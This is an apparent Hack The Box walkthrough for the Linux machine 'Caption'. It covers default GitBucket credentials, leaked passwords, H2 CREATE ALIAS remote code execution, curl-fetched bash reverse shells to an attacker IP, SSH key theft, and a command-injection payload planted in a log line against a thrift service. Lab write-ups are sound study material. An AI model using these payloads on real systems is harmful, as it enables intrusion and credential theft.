> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-03-27

Hack The Box - Caption (Linux)

Compromise through exposed GitBucket default root credentials and H2 RCE, pivot with SSH key reuse, then root via command injection in internal Logservice using crafted thrift request.

Target

  • IP: 10.129.1.15

Recon

sudo nmap -sC -sV 10.129.1.15 -p- -T5 -v
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, X11Probe:
|     HTTP/1.1 400 Bad request
|     Content-length: 90
|     Cache-Control: no-cache
|     Connection: close
|     Content-Type: text/html
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|     </body></html>
|   FourOhFourRequest, GetRequest, HTTPOptions:
|     HTTP/1.1 301 Moved Permanently
|     content-length: 0
|     location: http://caption.htb
|_    connection: close
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open  http-proxy
|_http-title: GitBucket
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Mon, 16 Sep 2024 12:27:13 GMT
|     Set-Cookie: JSESSIONID=node01b54dyfkxb5g71ipwx9kt2fib83.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 5916
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>Error</title>
|     <meta property="og:title" content="Error" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.1.15:8080/nice%20ports%2C/Tri%6Eity.txt%2ebak" />
|     <meta property="og:image" content="http://10.129.1.15:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/g
|   GetRequest:
|     HTTP/1.1 200 OK
|     Date: Mon, 16 Sep 2024 12:27:12 GMT
|     Set-Cookie: JSESSIONID=node01svt0f1mve24vf6nczrqdv911.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 7191
|     <!DOCTYPE html>
|     <html prefix="og: http://ogp.me/ns#" lang="en">
|     <head>
|     <meta charset="UTF-8" />
|     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" />
|     <meta http-equiv="X-UA-Compatible" content="IE=edge" />
|     <title>GitBucket</title>
|     <meta property="og:title" content="GitBucket" />
|     <meta property="og:type" content="object" />
|     <meta property="og:url" content="http://10.129.1.15:8080/" />
|     <meta property="og:image" content="http://10.129.1.15:8080/assets/common/images/gitbucket_ogp.png" />
|     <link rel="icon" href="/assets/common/images/gitbucket.png?20240916122439" type="i
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Date: Mon, 16 Sep 2024 12:27:13 GMT
|     Set-Cookie: JSESSIONID=node0jmt64bhk19qbq3uvodwcek662.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|_    <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>

Add caption.htb to /etc/hosts. Go to http://caption.htb/. There is a login form.

Go to http://caption.htb:8080/. It is GitBucket. Login with default credentials:

  • root:root

Go to repositories. There are two repositories:

  • Logservice

  • Caption-Portal

Clone both.

Inspect Caption-Portal history. In file haproxy.cfg we find credentials:

  • username: margo

  • password: vFr&cS2#0!

Login to http://caption.htb with these credentials.

RCE via GitBucket Database Viewer

Return to http://caption.htb:8080/. Go to Database viewer. Run these queries:

CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;
CALL EXECVE('id');

We have RCE.

Create a file rev with content:

bash -i >& /dev/tcp/10.10.16.11/4444 0>&1

Start listeners:

python3 -m http.server 80
nc -vlnp 4444

Execute queries:

CALL EXECVE('curl http://10.10.16.11/rev -o /dev/shm/rev');
CALL EXECVE('bash /dev/shm/rev');

We get a reverse shell as user margo.

cat .ssh/id_ecdsa

Copy it into file margo_key.

chmod 600 margo_key
ssh -i margo_key margo@caption.htb

Privilege Escalation

cat /etc/passwd

We notice user ruth.

cat app/app.py

We find credentials:

margo   vFr&cS2#0!
admin   cFgjE@0%l0

On 127.0.0.1:9090 there is Logservice (from previous repository). There is a command injection vulnerability.

On target machine, create /dev/shm/test.log with content:

ip: 127.0.0.1, "user-agent":"'; bash /dev/shm/rev #"

Create /dev/shm/rev with content:

bash -i >& /dev/tcp/10.10.16.11/4444 0>&1

Run:

chmod 777 test.log
chmod 777 rev

Start listener:

nc -vlnp 4444

Forward port 9090:

ssh -i margo_key margo@caption.htb -NL 9090:localhost:9090

See the archive in attachments:

  • attachments/test_go.zip

Unzip it. File log_service.thrift was copied from Logservice repository. Folder gen-go was generated with:

thrift -r --gen go log_service.thrift
go build
./test_go

We get a reverse shell as root.